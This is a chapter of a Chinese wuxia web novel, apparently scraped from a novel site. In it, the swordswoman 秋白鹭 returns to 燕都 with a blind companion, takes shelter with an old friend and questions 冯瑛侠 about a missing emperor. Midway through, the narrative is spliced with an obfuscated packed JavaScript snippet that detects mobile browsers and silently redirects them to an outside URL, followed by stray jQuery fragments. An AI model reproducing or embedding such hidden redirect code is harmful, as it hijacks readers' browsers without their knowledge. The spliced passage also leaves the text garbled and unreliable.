万书库 > 都市小说 > 皇帝是我贤内助 > 44. 鹊桥仙(一)
    燕都。


    缺了一角的圆月悄悄隐没在层云之后。


    夜寒霜降,冷风阵阵催人肝肠。


    黑色的湖水被风推起波澜,揉碎了岸边垂柳的倒影,还有从湖中飘起的血丝。


    浑身湿漉漉的人握住岸边的大石,青白的手拼尽最后一丝力气,把自己带上了岸。


    他伏倒在碎石嶙峋的岸边,衣衫褴褛,背后的箭伤、咽喉的刀伤、脑后的撞伤,俱已被河水泡得发白,再流不出一滴血来。


    他趴了很久,呼吸渐渐微弱,几乎要成为一具尸体。


    但听远巷传来更声,邦邦邦三下,搅乱了寂静的园林,树上乌鸦高飞,发出刺耳的聒声。


    “尸体”惊醒了。


    他仰起头,连滚带爬地直起身,昏蒙的双眼勉强辨认了周围的方向,打着寒战,一步三倒地向更深更暗的无人处走去。


    打更人也近了。


    “天干物燥,小心火烛——”


    背后深入骨肉的箭刮擦在假山石上,他忍住剧痛,用力拔出。腰间的剑穗勾在丛生的树枝上,也被他一把扯断。


    唯有一把剑,被他紧紧抱在怀中。


    他发足奔跑。


    墙外,打更人打着哈欠,一双粗糙的手推开了小园的门。


    他支起双眼扫视这久已荒废的小园,月亮刚从云后露面,湖水波光粼粼,枝叶在风中簌簌作响,群鸟被他的脚步声惊起,啁啾婉转的鸣声在寒夜里居然有些瘆人。


    一切如常。


    打更人摸了摸胳膊上的鸡皮疙瘩,骂一句“扁毛畜牲”,捡起地上一块石头丢过去。


    群鸟惊散。


    *


    四月二十四,秋白鹭一路换马,不肯稍停,终于在一个烈日炎炎的午后到达了燕都。


    骏马一声长嘶,扬蹄止步,停在城门下。


    秋白鹭翻身下马,将盛绰君从马背上带下来,两人各自扣上一顶帷帽,牵着马,跟在熙熙攘攘的人群里入城。


    盛绰君拄着盲杖,跟在她身后,耳听得身边人们打招呼的话都是官话,本来已经麻木的脸上似喜似悲,竟忍不住留下一行清泪。


    秋白鹭面无表情,双眼里笑意一息,配上她那张脸,就总像是含着一分藐视,如果再微微抬起眼来看人,又像是含怒不发,越发显得凛然不可亲近。


    进了城,没了高大城墙的遮挡,秋白鹭一抬头,远远就望见了燕返阁檐角的金铃:“别哭了,快走。”


    盛绰君抬手拭去眼泪,问她:“好不容易回乡,秋夫人也没有什么感慨吗?”


    秋白鹭冷笑:“这可不是我的故乡。”


    又一扯盛绰君手腕上绑的绳子:“快走,先找个地方住,今晚我还有事做。”


    盛绰君:“什么?你今晚还要出去?一路奔波你不休息……”


    秋白鹭“啧”一声,不耐烦地拖着盛绰君离开了城门前。


    快要走到燕返阁前,秋白鹭才突然想起一件要紧的事——天市已经回到江南,现在燕都城里危星阁的主事,是和宫廷关系密切的天梁。现在的危星阁,不可信。


    旧友不在,昔日庇护她的燕返阁反而成了龙潭虎穴。


    秋白鹭苦笑,拖着盛绰君折返。


    本来满心盼望歇息的盛绰君迟疑地跟着她走出几步,又迟疑地停下来:“这是要去哪?”


    顷刻之间,秋白鹭已经想到了去处,她扬了扬眉:“投亲靠友。”


    *


    康宁坊,老槐巷,宋记布庄后院。


    腰间佩剑的侠女从墙头上跳下来,又接住慌慌张张一跃而下的盲女。


    端着水盆的侍女从小门迈进来,刚好看见这一幕,惊叫尚未出口,已经被青衣的侠女捂住了嘴。


    美貌的侠女一双温静的眸子看定了她,柔声道:“我和你家刘夫人是旧相识,不是歹人。劳烦你去通禀一声。”


    夫人,好像确实是有不少江湖上的朋友?


    再说了,这样美貌的人,又怎么会是坏人呢。


    侍女抱紧了铜盆,认真点了点头。


    *


    刘卉脚步匆匆,将她迎到侧院花厅。


    盛绰君和她嘀嘀咕咕:“宓妃娘娘居然真有民间的旧相识。”


    秋白鹭掐住她的脖子,轻声道:“回了燕都,该闭嘴时候,记得闭嘴。”语毕松手。


    盛绰君捂住脖子咳了两声,靠住墙听来人和秋白鹭寒暄,没说几句,话题又拐到她身上:“这位是?”


    秋白鹭向刘卉介绍:“一个罪人。”


    盛绰君怔住。


    刘卉打量两眼,只见这一盲女身形单薄,实在不知道能犯下什么样的罪,但秋白鹭既然这么说,一定也有她的道理,就不再多问,转而向秋白鹭介绍她准备的居所。


    “我家主院人来人往,总也不太方便,好在最近把亡夫试色染布的小院整理出来了,就在这侧院的最后一进,还有一个独立的角门,进出也很方便。”


    换言之,要逃走也很方便。


    刘卉思虑这样周全,怪不得布庄的生意日益兴隆。


    秋白鹭欣然应允:“劳你费心了。我还想问问燕都城内最近发生的大事……”


    刘卉的神情却有些古怪,秋白鹭觉出她神色有异,住了口。


    刘卉哭笑不得:“秋夫人,这种事情,该去问瑛老板才是啊,我能知道多少呢?”


    秋白鹭神色变了又变,脱口而出:“紫瑛班不是已经离开燕都了吗?”


    刘卉却困惑地摇头:“瑛老板一直留在燕都……紫瑛班的大戏已经连演一个月了!”


    秋白鹭心里千般不解,不耽误她向刘卉点头:“既然这样,麻烦你给她送个信,请她得空来见我一面。”


    刘卉微笑:“这有什么麻烦。”招过侍女来耳语几句,侍女便领命出去。


    刘卉为秋白鹭斟上一杯酒:“闲话少叙,还请喝这一杯接风酒。”


    秋白鹭含笑举杯。


    *


    夜静无人,冷月高悬。


    刘卉身为宋记布庄的老板,诸事繁杂,带她们来到小院后就告辞了。


    秋白鹭独坐房前,摸着彩衣剑上的凹凸起伏的宝石沉思。


    危急关头,她使出玉真剑法,居然真的得到了天授,这是连她都没有想到的。


    她本来只想着要借助玉真剑法当年斩杀群妖的威势震慑那野鸡精怪,好能尽快结束战斗。


    万万没想到,野鸡固然是心生惧意仓皇逃窜,她却也心中一动,不得不为那一瞬间的灵感闭目打坐,甚至险些让盛绰君被祂吸了血,给祂提供了喘息之机。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368722|183941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>现在回想起来,还是觉得十分惊险。


    也十分奇怪。


    经历的天授次数越多,她反而越糊涂,分辨不清天授的条件。


    如果说是生死搏杀的危机关头,第一次天授却发生在她深夜演武场独自练刀时。如果说要熟悉与刀剑对应的,代代相传的功法,她的玉真剑法只不过是学过两式,能比划个样子而已,怎么可能称得上娴熟?


    只有一个条件是确定的——拿到从前朝大离起代代相传的名刀宝剑。


    再想起那时沈江英脱口而出的“秋池刀也是其中之一”,毫无疑问,沈江英在江湖上频频搅动风雨,就是为了搜集这些刀剑。


    他也是为了天授吗?


    可魔教直接传承自森罗神宫,宫中密藏不计其数,天下谁都会缺高深的功法,唯有他不缺。


    秋白鹭拔出剑,心不在焉地擦拭着剑身,心中反复思量:沈江英是为了什么?


    风过影动,枝叶簌簌,门外多了一道呼吸声,秋白鹭抬头:“谁?”


    冯瑛侠抬腿迈过门槛,笑吟吟道:“你道是谁?”


    秋白鹭喜道:“正等你呢。”


    两人携手进来,分坐在堂中,先叙起别后情由。


    秋白鹭问她:“先前不是劝你南下,怎么没走?”


    冯瑛侠没想到秋白鹭先问这个,神色一滞,掩口笑道:“还不是你说不要往北走嘛?我们商量了一宿,南方几座大城才都走过一趟,再去也不新鲜了,还不如在燕都舒舒服服地大赚一笔。”


    秋白鹭深深看她一眼。


    冯瑛侠神色自若,甚至打趣地眨眼:“倒是你,不是说要躲一段时间,怎么又回燕都来?”


    虽然是有点丢人的决定,但毕竟是自己的决定,现在被人问起,也没什么可遮掩的。


    秋白鹭先说:“燕都生了大乱子,早就没人追踪我们了。”


    冯瑛侠应答一声,目光炯炯直盯着她,并不在意她这铺垫的第一句,显然早就猜到她回来是为了什么,偏要等她自己说出来。


    小姐妹的恶趣味实在讨厌,秋白鹭瞪她一眼,羞恼道:“听说他出事,回来救他一命。”


    冯瑛侠得了答案,心满意足,偏偏又来作怪,长吁短叹道:我早知道你没有放下。真放下,走之前何至于那么心事重重的?”


    秋白鹭啐他一口:“这全是我前生孽债——你别笑,你也是个孽债。”


    冯瑛侠大笑。


    笑罢了,她咂摸着其中滋味,幸灾乐祸道:“也是越姐姐还不知道,若是知道你痛下决心破釜沉舟地返回燕都来,不知道要怎么跟你生气。”


    秋白鹭还没想到这节,经冯瑛侠提起,不由得又是一阵头痛。


    冯瑛侠还在那里捣乱,咿呀呀地低声唱道:“尘网里捕得一只糊涂雀儿——”


    秋白鹭哀告道:“别挤兑我了,说点正经事,成不成?”


    冯瑛侠笑了半晌,好不容易停下来,问她:“你要说什么正经事?”


    秋白鹭眨了眨眼,垂下睫羽:“我在外消息不通,那日之后,燕都到底发生了什么事?”


    明明秦岷一切尽在掌握,怎么突然之间天翻地覆,一个皇帝居然被人逼到了落水失踪的地步?


    冯瑛侠面色微沉:“那就是个很复杂的故事了。”